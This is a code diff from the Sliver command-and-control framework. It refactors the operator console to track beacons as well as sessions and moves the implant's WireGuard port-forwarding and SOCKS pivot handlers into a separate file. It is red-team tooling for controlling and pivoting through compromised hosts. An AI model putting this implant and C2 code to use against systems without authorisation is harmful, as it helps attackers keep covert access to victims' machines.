beaconsMap[beacon.ID] = beacon
}
beaconKeys := []string{}
for beaconID := range beaconsMap {
beaconKeys = append(beaconKeys, beaconID)
}
sort.Strings(beaconKeys)
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
}
// Render selection table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, key := range sessionKeys {
session := sessionsMap[uint32(key)]
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
)
}
for _, key := range beaconKeys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a session or beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, nil, ErrNoSelection
}
for index, option := range options {
if option == selected {
if index < len(sessionKeys) {
return sessionsMap[uint32(sessionKeys[index])], nil, nil
}
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
}
}
return nil, nil, nil
}
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// WGPortFwdAddCmd - Add a new WireGuard port forward
func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -53,7 +53,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
LocalPort: int32(localPort),
RemoteAddress: remoteAddr,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGPortFwdRmCmd - Remove a WireGuard port forward
func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -40,7 +40,7 @@ func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
fwdID := ctx.Args.Int("id")
stopReq, err := con.Rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{
ID: int32(fwdID),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// WGPortFwdListCmd - List WireGuard port forwards
func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy
func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -41,7 +41,7 @@ func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socks, err := con.Rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{
Port: int32(bindPort),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGSocksStopCmd - Stop a WireGuard SOCKS proxy
func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -41,7 +41,7 @@ func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
stopReq, err := con.Rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{
ID: int32(socksID),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// WGSocksListCmd - List WireGuard SOCKS proxies
func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+170 -69
View File
@@ -28,6 +28,8 @@ import (
insecureRand "math/rand"
"path"
"strconv"
"strings"
"sync"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
@@ -38,7 +40,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/golang/protobuf/proto"
"time"
@@ -75,29 +77,37 @@ const (
)
// Observer - A function to call when the sessions changes
type Observer func(*clientpb.Session)
type Observer func(*clientpb.Session, *clientpb.Beacon)
type BeaconTaskCallback func(*clientpb.BeaconTask)
type ActiveSession struct {
Session *clientpb.Session
type ActiveTarget struct {
session *clientpb.Session
beacon *clientpb.Beacon
observers map[int]Observer
observerID int
}
type SliverConsoleClient struct {
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveSession *ActiveSession
IsServer bool
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveTarget *ActiveTarget
BeaconTaskCallbacks map[string]BeaconTaskCallback
BeaconTaskCallbacksMutex *sync.Mutex
IsServer bool
Settings *assets.ClientSettings
}
// BindCmds - Bind extra commands to the app object
type BindCmds func(console *SliverConsoleClient)
func init() {
insecureRand.Seed(time.Now().Unix())
}
// Start - Console entrypoint
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
assets.Setup(false, false)
settings, _ := assets.LoadSettings()
con := &SliverConsoleClient{
App: grumble.New(&grumble.Config{
Name: "Sliver",
@@ -109,11 +119,14 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
HelpSubCommands: true,
}),
Rpc: rpc,
ActiveSession: &ActiveSession{
ActiveTarget: &ActiveTarget{
observers: map[int]Observer{},
observerID: 0,
},
IsServer: isServer,
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
BeaconTaskCallbacksMutex: &sync.Mutex{},
IsServer: isServer,
Settings: settings,
}
con.App.SetPrintASCIILogo(func(_ *grumble.App) {
con.PrintLogo()
@@ -122,7 +135,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
bindCmds(con)
extraCmds(con)
con.ActiveSession.AddObserver(func(_ *clientpb.Session) {
con.ActiveTarget.AddObserver(func(_ *clientpb.Session, _ *clientpb.Beacon) {
con.App.SetPrompt(con.GetPrompt())
})
@@ -179,15 +192,10 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionOpenedEvent:
session := event.Session
// The HTTP session handling is performed in two steps:
// - first we add an "empty" session
// - then we complete the session info when we receive the Register message from the Sliver
// This check is here to avoid displaying two sessions events for the same session
if session.OS != "" {
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
}
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
@@ -205,11 +213,11 @@ func (con *SliverConsoleClient) EventLoop() {
session := event.Session
con.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
activeSession := con.ActiveSession.Get()
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveSession.Set(nil)
con.App.SetPrompt(con.GetPrompt())
con.ActiveTarget.Set(nil, nil)
con.Printf(Warn + "Active session disconnected\n")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
@@ -219,6 +227,17 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintInfof("Removed session %s from Operator\n", session.Name)
}
con.Println()
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintInfof("Beacon #%s %s - %s (%s) - %s/%s - %v\n\n",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
con.triggerReactions(event)
@@ -236,14 +255,13 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
// We need some special handling for SessionOpenedEvent to
// set the new session as the active session
currentActiveSession := con.ActiveSession.Get()
defer con.ActiveSession.Set(currentActiveSession)
con.ActiveSession.Set(nil)
currentActiveSession := con.ActiveTarget.GetSession()
if currentActiveSession != nil {
defer con.ActiveTarget.Set(currentActiveSession, nil)
}
con.ActiveTarget.Set(nil, nil)
if event.EventType == consts.SessionOpenedEvent {
if event.Session == nil || event.Session.OS == "" {
return // Half-open session, do not execute any command
}
con.ActiveSession.Set(event.Session)
con.ActiveTarget.Set(event.Session, nil)
}
for _, reaction := range reactions {
@@ -262,13 +280,53 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
}
}
// triggerBeaconTaskCallback - Triggers the callback for a beacon task
func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
task := &clientpb.BeaconTask{}
err := proto.Unmarshal(data, task)
if err != nil {
con.PrintErrorf("\rCould not unmarshal beacon task: %s\n", err)
return
}
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
// was restarted between the time the task was created and the server go the result
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
if con.Settings.BeaconAutoResults {
// TODO: The background context could block forever and deadlock the mutex
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{
ID: task.ID,
})
con.Printf(Clearln + "\r")
if err == nil {
callback(task)
} else {
con.PrintErrorf("Could not get beacon task content: %s\n", err)
}
con.Println()
}
delete(con.BeaconTaskCallbacks, task.ID)
}
}
func (con *SliverConsoleClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) {
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
con.BeaconTaskCallbacks[taskID] = callback
}
func (con *SliverConsoleClient) GetPrompt() string {
prompt := Underline + "sliver" + Normal
if con.IsServer {
prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal
}
if con.ActiveSession.Get() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveSession.Get().Name, Normal)
if con.ActiveTarget.GetSession() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal)
} else if con.ActiveTarget.GetBeacon() != nil {
prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal)
}
prompt += " > "
return Clearln + prompt
@@ -285,7 +343,6 @@ func (con *SliverConsoleClient) PrintLogo() {
}
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
insecureRand.Seed(time.Now().Unix())
logo := asciiLogos[insecureRand.Intn(len(asciiLogos))]
con.Println(logo)
con.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))])
@@ -367,8 +424,9 @@ func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Sessi
}
// GetActiveSessionConfig - Get the active sessions's config
// TODO: Switch to query config based on ConfigID
func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return nil
}
@@ -385,8 +443,8 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
Evasion: session.GetEvasion(),
MaxConnectionErrors: uint32(1000),
ReconnectInterval: uint32(60),
PollInterval: uint32(1),
ReconnectInterval: int64(60),
PollTimeout: int64(1),
Format: clientpb.OutputFormat_SHELLCODE,
IsSharedLib: true,
@@ -395,12 +453,9 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
return config
}
// This should be called for any dangerous (OPSEC-wise) functions
func (con *SliverConsoleClient) IsUserAnAdult() bool {
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
// PrintAsyncResponse - Print the generic async response information
func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) {
con.PrintInfof("Tasked beacon %s (%s)\n", resp.BeaconID, resp.TaskID)
}
func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) {
@@ -428,61 +483,107 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
}
//
// -------------------------- [ Active Session ] --------------------------
// -------------------------- [ Active Target ] --------------------------
//
// GetInteractive - GetInteractive the active session
func (s *ActiveSession) GetInteractive() *clientpb.Session {
if s.Session == nil {
fmt.Printf(Warn + "Please select an active session via `use`\n")
return nil
// GetSessionInteractive - Get the active target(s)
func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
if s.session == nil && s.beacon == nil {
fmt.Printf(Warn + "Please select a session or beacon via `use`\n")
return nil, nil
}
return s.Session
return s.session, s.beacon
}
// Get - Same as Get() but doesn't print a warning
func (s *ActiveSession) Get() *clientpb.Session {
if s.Session == nil {
// GetSessionInteractive - GetSessionInteractive the active session
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
if s.session == nil {
fmt.Printf(Warn + "Please select a session via `use`\n")
return nil
}
return s.Session
return s.session
}
// GetSession - Same as GetSession() but doesn't print a warning
func (s *ActiveTarget) GetSession() *clientpb.Session {
return s.session
}
// GetBeaconInteractive - Get beacon interactive the active session
func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon {
if s.beacon == nil {
fmt.Printf(Warn + "Please select a beacon via `use`\n")
return nil
}
return s.beacon
}
// GetBeacon - Same as GetBeacon() but doesn't print a warning
func (s *ActiveTarget) GetBeacon() *clientpb.Beacon {
return s.beacon
}
// IsSession - Is the current target a session?
func (s *ActiveTarget) IsSession() bool {
if s.session != nil {
return true
}
return false
}
// AddObserver - Observers to notify when the active session changes
func (s *ActiveSession) AddObserver(observer Observer) int {
func (s *ActiveTarget) AddObserver(observer Observer) int {
s.observerID++
s.observers[s.observerID] = observer
return s.observerID
}
func (s *ActiveSession) RemoveObserver(observerID int) {
func (s *ActiveTarget) RemoveObserver(observerID int) {
delete(s.observers, observerID)
}
func (s *ActiveSession) Request(ctx *grumble.Context) *commonpb.Request {
if s.Session == nil {
func (s *ActiveTarget) Request(ctx *grumble.Context) *commonpb.Request {
if s.session == nil && s.beacon == nil {
return nil
}
timeout := int(time.Second) * ctx.Flags.Int("timeout")
return &commonpb.Request{
SessionID: s.Session.ID,
Timeout: int64(timeout),
req := &commonpb.Request{}
req.Timeout = int64(timeout)
if s.session != nil {
req.Async = false
req.SessionID = s.session.ID
}
if s.beacon != nil {
req.Async = true
req.BeaconID = s.beacon.ID
}
return req
}
// Set - Change the active session
func (s *ActiveSession) Set(session *clientpb.Session) {
s.Session = session
for _, observer := range s.observers {
observer(s.Session)
func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) {
if session != nil && beacon != nil {
panic("cannot set both an active beacon and an active session")
}
if session != nil {
s.session = session
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
} else if beacon != nil {
s.beacon = beacon
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
}
}
// Background - Background the active session
func (s *ActiveSession) Background() {
s.Session = nil
func (s *ActiveTarget) Background() {
s.session = nil
s.beacon = nil
for _, observer := range s.observers {
observer(nil)
observer(nil, nil)
}
}
+18 -8
View File
@@ -82,13 +82,19 @@ const (
// LootRemoved
LootRemovedEvent = "loot-removed"
// BeaconRegisteredEvent - First connection from a new beacon
BeaconRegisteredEvent = "beacon-registered"
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
)
// Commands
const (
NewPlayerStr = "new-player"
PlayersStr = "players"
KickPlayerStr = "kick-player"
OperatorsStr = "operators"
NewOperatorStr = "new-operator"
KickStr = "kick"
MultiplayerModeStr = "multiplayer"
SessionsStr = "sessions"
@@ -97,12 +103,15 @@ const (
UseStr = "use"
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerStr = "info"
StagerStr = "stager"
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
SettingsStr = "settings"
// Generic
@@ -116,6 +125,7 @@ const (
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
TablesStr = "tables"
LootStr = "loot"
LootLocalStr = "local"
@@ -126,7 +136,7 @@ const (
RenameStr = "rename"
ImplantBuildsStr = "implants"
ListCanariesStr = "canaries"
CanariesStr = "canaries"
JobsStr = "jobs"
MtlsStr = "mtls"
@@ -212,9 +222,9 @@ const (
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
OperatorStr = "operator"
ConnectStr = "connect"
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
)
// Groups
+3 -7
View File
@@ -13,10 +13,6 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
aesDefaultKey = "abcdefghijklmnopqrstuvwxyz012345"
)
var SessionMapper *PreludeSessionMapper
type OperatorConfig struct {
@@ -77,10 +73,10 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
Sleep: 3,
}
encryptionKey := aesDefaultKey
if p.conf.AESKey != "" {
encryptionKey = p.conf.AESKey
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: sessName,
AESKey: encryptionKey,
+18
View File
@@ -1,5 +1,23 @@
package extension
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "errors"
var extensions map[string]Extension
@@ -1,5 +1,23 @@
package extension
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"runtime"
@@ -1,5 +1,23 @@
package extension
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
+5 -143
View File
@@ -39,7 +39,7 @@ import (
"path/filepath"
// {{if .Config.WGc2Enabled}}
"github.com/bishopfox/sliver/implant/sliver/forwarder"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -544,13 +544,13 @@ func reconnectIntervalHandler(data []byte, resp RPCResponse) {
return
}
reconnectInterval := reconnectIntervalReq.GetReconnectIntervalSeconds()
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
// {{end}}
// Set the reconnect interval value
transports.SetReconnectInterval(int(reconnectInterval))
transports.SetReconnectInterval(reconnectInterval)
recIntervalResp := &sliverpb.ReconnectInterval{}
recIntervalResp.Response = &commonpb.Response{}
@@ -572,13 +572,13 @@ func pollIntervalHandler(data []byte, resp RPCResponse) {
return
}
pollInterval := pollIntervalReq.GetPollIntervalSeconds()
pollInterval := pollIntervalReq.GetPollInterval()
// {{if .Config.Debug}}
log.Printf("Update poll interval called: %d\n", pollInterval)
// {{end}}
// Set the reconnect interval value
transports.SetPollInterval(int(pollInterval))
transports.SetPollTimeout(pollInterval)
pollIntervalResp := &sliverpb.PollInterval{}
pollIntervalResp.Response = &commonpb.Response{}
@@ -590,144 +590,6 @@ func pollIntervalHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
// {{if .Config.WGc2Enabled}}
func wgListTCPForwardersHandler(_ []byte, resp RPCResponse) {
fwders := forwarder.GetTCPForwarders()
listResp := &sliverpb.WGTCPForwarders{}
fwdList := make([]*sliverpb.WGTCPForwarder, 0)
for _, f := range fwders {
fwdList = append(fwdList, &sliverpb.WGTCPForwarder{
ID: int32(f.ID),
LocalAddr: f.LocalAddr(),
RemoteAddr: f.RemoteAddr(),
})
}
listResp.Forwarders = fwdList
data, err := proto.Marshal(listResp)
resp(data, err)
}
func wgStartPortfwdHandler(data []byte, resp RPCResponse) {
fwdReq := &sliverpb.WGPortForwardStartReq{}
err := proto.Unmarshal(data, fwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
fwder := forwarder.NewWGTCPForwarder(fwdReq.RemoteAddress, transports.GetTUNAddress(), int(fwdReq.LocalPort), transports.GetTNet())
go fwder.Start()
fwdResp := &sliverpb.WGPortForward{
Response: &commonpb.Response{},
Forwarder: &sliverpb.WGTCPForwarder{
ID: int32(fwder.ID),
LocalAddr: fwder.LocalAddr(),
RemoteAddr: fwder.RemoteAddr(),
},
}
if err != nil {
fwdResp.Response.Err = err.Error()
}
data, err = proto.Marshal(fwdResp)
resp(data, err)
}
func wgStopPortfwdHandler(data []byte, resp RPCResponse) {
stopReq := &sliverpb.WGPortForwardStopReq{}
err := proto.Unmarshal(data, stopReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
stopResp := &sliverpb.WGPortForward{
Response: &commonpb.Response{},
}
fwd := forwarder.GetTCPForwarder(int(stopReq.ID))
if fwd == nil {
stopResp.Response.Err = fmt.Sprintf("no forwarder found for id %d", stopReq.ID)
} else {
stopResp.Forwarder = &sliverpb.WGTCPForwarder{
ID: int32(fwd.ID),
LocalAddr: fwd.LocalAddr(),
RemoteAddr: fwd.RemoteAddr(),
}
fwd.Stop()
forwarder.RemoveTCPForwarder(fwd.ID)
}
data, err = proto.Marshal(stopResp)
resp(data, err)
}
func wgListSocksServersHandler(data []byte, resp RPCResponse) {
socksServers := forwarder.GetSocksServers()
listResp := &sliverpb.WGSocksServers{}
serverList := make([]*sliverpb.WGSocksServer, 0)
for _, s := range socksServers {
serverList = append(serverList, &sliverpb.WGSocksServer{
ID: int32(s.ID),
LocalAddr: s.LocalAddr(),
})
}
listResp.Servers = serverList
data, err := proto.Marshal(listResp)
resp(data, err)
}
func wgStartSocksHandler(data []byte, resp RPCResponse) {
startReq := &sliverpb.WGSocksStartReq{}
err := proto.Unmarshal(data, startReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
server := forwarder.NewWGSocksServer(int(startReq.Port), transports.GetTUNAddress(), transports.GetTNet())
go server.Start()
startResp := &sliverpb.WGSocks{
Response: &commonpb.Response{},
Server: &sliverpb.WGSocksServer{
ID: int32(server.ID),
LocalAddr: server.LocalAddr(),
},
}
data, err = proto.Marshal(startResp)
resp(data, err)
}
func wgStopSocksHandler(data []byte, resp RPCResponse) {
stopReq := &sliverpb.WGSocksStopReq{}
err := proto.Unmarshal(data, stopReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
server := forwarder.GetSocksServer(int(stopReq.ID))
stopResp := &sliverpb.WGSocks{
Response: &commonpb.Response{},
}
if server == nil {
stopResp.Response.Err = fmt.Sprintf("no server found for id %d", stopReq.ID)
} else {
stopResp.Server = &sliverpb.WGSocksServer{
ID: int32(server.ID),
LocalAddr: server.LocalAddr(),
}
server.Stop()
forwarder.RemoveSocksServer(server.ID)
}
data, err = proto.Marshal(stopResp)
resp(data, err)
}
// {{end}}
// ---------------- Data Encoders ----------------
func gzipWrite(w io.Writer, data []byte) error {
@@ -63,8 +63,3 @@ func GetSystemPivotHandlers() map[uint32]PivotHandler {
func GetPivotHandlers() map[uint32]PivotHandler {
return map[uint32]PivotHandler{}
}
// GetSpecialHandlers - Not supported
func GetSpecialHandlers() map[uint32]SpecialHandler {
return map[uint32]SpecialHandler{}
}
@@ -0,0 +1,170 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
import (
"fmt"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/forwarder"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func wgListTCPForwardersHandler(_ []byte, resp RPCResponse) {
fwders := forwarder.GetTCPForwarders()
listResp := &pb.WGTCPForwarders{}
fwdList := make([]*pb.WGTCPForwarder, 0)
for _, f := range fwders {
fwdList = append(fwdList, &pb.WGTCPForwarder{
ID: int32(f.ID),
LocalAddr: f.LocalAddr(),
RemoteAddr: f.RemoteAddr(),
})
}
listResp.Forwarders = fwdList
data, err := proto.Marshal(listResp)
resp(data, err)
}
func wgStartPortfwdHandler(data []byte, resp RPCResponse) {
fwdReq := &pb.WGPortForwardStartReq{}
err := proto.Unmarshal(data, fwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
fwder := forwarder.NewWGTCPForwarder(fwdReq.RemoteAddress, wireguard.GetTUNAddress(), int(fwdReq.LocalPort), wireguard.GetTNet())
go fwder.Start()
fwdResp := &pb.WGPortForward{
Response: &commonpb.Response{},
Forwarder: &pb.WGTCPForwarder{
ID: int32(fwder.ID),
LocalAddr: fwder.LocalAddr(),
RemoteAddr: fwder.RemoteAddr(),
},
}
if err != nil {
fwdResp.Response.Err = err.Error()
}
data, err = proto.Marshal(fwdResp)
resp(data, err)
}
func wgStopPortfwdHandler(data []byte, resp RPCResponse) {
stopReq := &pb.WGPortForwardStopReq{}
err := proto.Unmarshal(data, stopReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
stopResp := &pb.WGPortForward{
Response: &commonpb.Response{},
}
fwd := forwarder.GetTCPForwarder(int(stopReq.ID))
if fwd == nil {
stopResp.Response.Err = fmt.Sprintf("no forwarder found for id %d", stopReq.ID)
} else {
stopResp.Forwarder = &pb.WGTCPForwarder{
ID: int32(fwd.ID),
LocalAddr: fwd.LocalAddr(),
RemoteAddr: fwd.RemoteAddr(),
}
fwd.Stop()
forwarder.RemoveTCPForwarder(fwd.ID)
}
data, err = proto.Marshal(stopResp)
resp(data, err)
}
func wgListSocksServersHandler(data []byte, resp RPCResponse) {
socksServers := forwarder.GetSocksServers()
listResp := &pb.WGSocksServers{}
serverList := make([]*pb.WGSocksServer, 0)
for _, s := range socksServers {
serverList = append(serverList, &pb.WGSocksServer{
ID: int32(s.ID),
